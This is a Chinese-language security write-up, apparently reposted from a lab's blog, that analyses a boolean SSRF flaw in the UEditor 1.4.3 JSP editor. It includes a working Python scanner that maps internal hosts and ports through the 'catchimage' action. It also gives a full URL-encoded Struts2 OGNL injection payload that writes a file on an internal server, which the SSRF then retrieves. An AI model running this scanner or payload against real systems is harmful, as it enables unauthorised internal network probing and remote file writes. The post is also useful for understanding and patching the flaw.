内容简介:作者: 浮萍@猎户安全实验室公众号:前些时间测试的时候遇到了一个系统采用了UEditor编辑器,版本为1.4.3。已知该编辑器v1.4.3版本存在SSRF漏洞,虽然是Bool型的SSRF,除了可以进行内网探测外,也可以根据web应用指纹信息,之后进行进一步的测试。
作者: 浮萍@猎户安全实验室
公众号: 猎户安全实验室
前些时间测试的时候遇到了一个系统采用了UEditor编辑器,版本为1.4.3。已知该编辑器v1.4.3版本存在SSRF漏洞,虽然是Bool型的SSRF,除了可以进行内网探测外,也可以根据web应用指纹信息,之后进行进一步的测试。
0x01 前言
查看官方的更新日志可以发现UEditor编辑器在版本1.4.3.1修复了SSRF漏洞。
那版本1.4.3应该存在SSRF漏洞,本着能搜索就不动手的原则搜了一下,发现wooyun-2015-0133125中提到过这类的漏洞。但我这里是jsp版本的,里面提到jsp版本不一样,只好去分析一下漏洞产生的位置。
0x02 漏洞分析
那我们需要查看版本1.4.3与1.4.3.1有什么不同,从而找到存在问题的地方。该项目的代码托管在Github上,地址为: https://github.com/fex-team/ueditor/ 。
查看版本1.4.3.1下的jsp代码.
可以发现在该版本有一次commit,commitId 为 a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6
。根据字面意思应该是增加了修复SSRF的代码。
下载下来后对比一下v1.4.3.1和v1.4.3代码有什么不同(这里仅对比jsp下的代码)。
发现在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。
privatebooleanvalidHost ( String hostname) { try { InetAddressip = InetAddress.getByName(hostname);//根据主机名获取ip if (ip.isSiteLocalAddress()) {//是否为地区本地地址 returnfalse; } } catch (UnknownHostExceptione) { returnfalse; } return !filters.contains( hostname ); }
新增了对ip地址是否为内部地址的判断。而在v1.4.3中仅仅是做了是否为过滤的ip地址。
privatebooleanvalidHost ( String hostname) { return !filters.contains( hostname ); }
isSiteLocalAddress方法作用是当IP地址是地区本地地址(SiteLocalAddress)时返回true,否则返回false。
IPv4的地址本地地址分为三段:10.0.0.0~ 10.255.255.255、172.16.0.0 ~ 172.31.255.255、192.168.0.0 ~192.168.255.255。
搜索后发现在captureRemoteData中调用了validHost方法。
根据代码可以分析:首先使用validHost对url进行判断,如果不合法,就提示“被阻止的远程主机”;当满足条件后会使用validContentState方法查看返回的状态是否为200,若不为200,则提示“远程连接出错”;进而对后缀、文件大小进行判断,都符合之后才进行图片的保存。如果url无法访问,则提示“抓取远程图片失败”。
所以可以根据返回的内容,来推断该url对应的主机是否可以访问。由于在版本v1.4.3中没有对请求的主机进行验证,从而造成了SSRF漏洞。
继续查看在capture方法中调用了captureRemoteData。
publicStatecapture ( String[] list ){ MultiStatestate = newMultiState( true ); for ( String source : list ) { state.addState( captureRemoteData( source )); } return state;
在invoke中调用了capture.
publicStringinvoke() { if ( actionType == null || !ActionMap.mapping.containsKey(actionType ) ) { returnnewBaseState( false, AppInfo.INVALID_ACTION ).toJSONString(); } ... Statestate = null; intactionCode = ActionMap.getType( this.actionType ); ... switch ( actionCode ) { ... caseActionMap.CATCH_IMAGE: conf = configManager.getConfig(actionCode ); String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) ); state = newImageHunter( conf ).capture( list ); break; ... } returnstate.toJSONString(); }
当调用capture需要满足条件为actionCode为 ActionMap.CATCH_IMAGE
,在ActionMap中value为 ActionMap.CATCH_IMAGE
对应的key为catchimage。所以当actionType值为catchimage,即action参数对应为catchimage时,才可能触发SSRF漏洞。下面对漏洞进行验证。
0x03 漏洞验证
这里用的是v1.4.3 jsp版本,下载ueditor1_4_3-utf8-jsp.zip,之后进行配置(可以参考 http://fex.baidu.com/ueditor/#server-jsp )。
功能实现的入口文件是jsp/controller.jsp。由上述分析可知需要满足action参数为catchimage。
在case ActionMap.CATCH_IMAGE中下断点,然后进行调试。
访问链接 http://localhost:8088/jsp/controller.jsp?action=catchimage
继续运行发现list为空,然后就抛出了异常。
再次运行,查看list数据从何而来。
可以看出list的数据从浏览器source[]参数而来。这里source[]需要后缀为图片格式,具体可以查看config.js中的catcherAllowFiles。
已知192.168.135.133开启了tomcat服务,且端口为8080。我们这里访问一张不存在的图片,例如用UUID生成一张图片的名称。
当进入validHost方法时,由于被访问的主机地址不在过滤的范围,所以返回true。
这里可以发现,仅仅对127.0.0.1、localhost和img.baidu.com进行了限制,当ip为本地地址时并没有限制,从而可以进行内网探测。
而该图片由于不存在,所以状态码为404,到此抓取图片过程结束,并返回结果。
这里可以根据页面返回的结果不同,来判断该地址对应的主机端口是否开放。可以总结为以下几点:
-
如果抓取不存在的图片地址时,页面返回{"state": "SUCCESS", list: [{"state":"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state为“远程连接出错”。
-
如果成功抓取到图片,页面返回{"state": "SUCCESS", list: [{"state": "SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state为“SUCCESS”。
-
如果主机无法访问,页面返回{"state":"SUCCESS", list: [{"state": "\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25"}]},即state为“抓取远程图片失败”。
由于除了在config.js中的catcherLocalDomain配置了过滤的地址外,没有针对内部地址进行过滤,所以可以根据抓取远程图片返回结果的不同,来进行内网的探测。
0x04 代码实现
由上述分析,根据返回包中的state进行判断,当state为"远程连接出错"或者为“SUCCESS”时表示该主机存在,且对应的端口为开放状态。
代码如下:
__Date__="20180524" ''' Usage: python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133 python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24 Python version: 3.6.2 requirements:IPy==0.83 ''' import sys import json import requests from IPy import IP defcheck(url,ip,port): url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' %(url,ip,port) res = requests.get(url) result = res.text result = result.replace("list","\"list\"") res_json = json.loads(result) state = res_json['list'][0]['state'] if state == '远程连接出错'or state == 'SUCCESS': print(ip,port,'is Open') defmain(url,ip): ips = IP(ip) ports = [80,8080] for i in ips: for port in ports: check(url,i,port) if__name__ == '__main__': url = sys.argv[1] ip = sys.argv[2] main(url,ip)
由于返回的结果为 {"state": "SUCCESS", list: [{"state":"..."} ]}
并不能直接用json来解析,需要将list替换为“list”后才可以作为json来解析。当然也可以直接使用burp来测试。
在实际测试中的测试结果如下:
0x05 综合利用
对于这样的Bool型SSRF ,页面仅返回了状态,而没有更多别的信息,要想进一步利用,可以根据如下的思路:
内网探测->应用识别->攻击Payload->查看结果
5.1 内网探测
首先进行内网探测,查看内网开放的主机和端口。这里以本地为例。
执行命令:
python SSRF_Ueditor_jsp.pyhttp://localhost:8088/ 192.168.135.155 192.168.135.15580is Open 192.168.135.1558080is Open
发现端口80 和 8080 开放,然后进行应用的识别。
5.2 应用识别
80端口由于没有可以识别的特征,所以未识别到应用的类型,而8080端口可以识别出来为tomcat服务器。
然后尝试查看是否可能存在Struts2漏洞。
5.3 攻击Payload
由于在抓取远程图片时,会请求给出的URL地址,所以可以利用Struts2漏洞在内网服务器(这里为192.168.135.155)上写入一个后缀为图片格式(如png、jpg)的文件(因为只能抓取图片格式的文件,所以这里写入了图片后缀的文件),然后利用Ueditor抓取图片的功能,将写入的图片文件抓取到ueditor服务器中,然后访问图片查看攻击结果。
首先写文件,这里利用Struts2漏洞在内网服务器web项目下写入一个名字为b5e592d2-ab5b-476d-865a-8299a0625490.png的文件,内容为Struts2_Test.png。
这里之所以写入内容为Struts2_Test.png,是由于在抓取图片时会判断图片链接的后缀是否为图片格式。当然还有其他的写法,例如
http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B’b5e592d2-ab5b-476d-865a-8299a0625490.png’,%2523res%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png
也可以写入。
然后再次利用Ueditor抓取远程图片的功能将写入内网服务器的“图片文件”抓取下来,查看其内容。
这里需要抓取的图片地址为: http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png
由上图可以看出,最后抓取的文件保存地址为:/ueditor/jsp/upload/image/20180525/1527181480175039672.png
5.4 查看结果
然后访问 http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png
查看是否攻击成功。
表明攻击成功。
0x06 总结
由于UEditor在v1.4.3之前没有加入对内部IP的限制,所以在使用抓取图片的功能时,造成SSRF漏洞。可以进行内网服务器的探测。然后根据内网服务器的特征(如/jmx-console/images/logo.gif, /tomcat.png),判断其使用的组件,并猜测可能存在的漏洞,然后进行进一步的渗透。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- CVE-2010-3333漏洞复现
- CVE-2017-12149漏洞复现
- WinRAR 代码执行漏洞复现
- CVE-2017-12615漏洞复现
- 越权操作漏洞的思考与复现
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Game Engine Architecture, Second Edition
Jason Gregory / A K Peters/CRC Press / 2014-8-15 / USD 69.95
A 2010 CHOICE outstanding academic title, this updated book covers the theory and practice of game engine software development. It explains practical concepts and techniques used by real game studios,......一起来看看 《Game Engine Architecture, Second Edition》 这本书的介绍吧!
JS 压缩/解压工具
在线压缩/解压 JS 代码
图片转BASE64编码
在线图片转Base64编码工具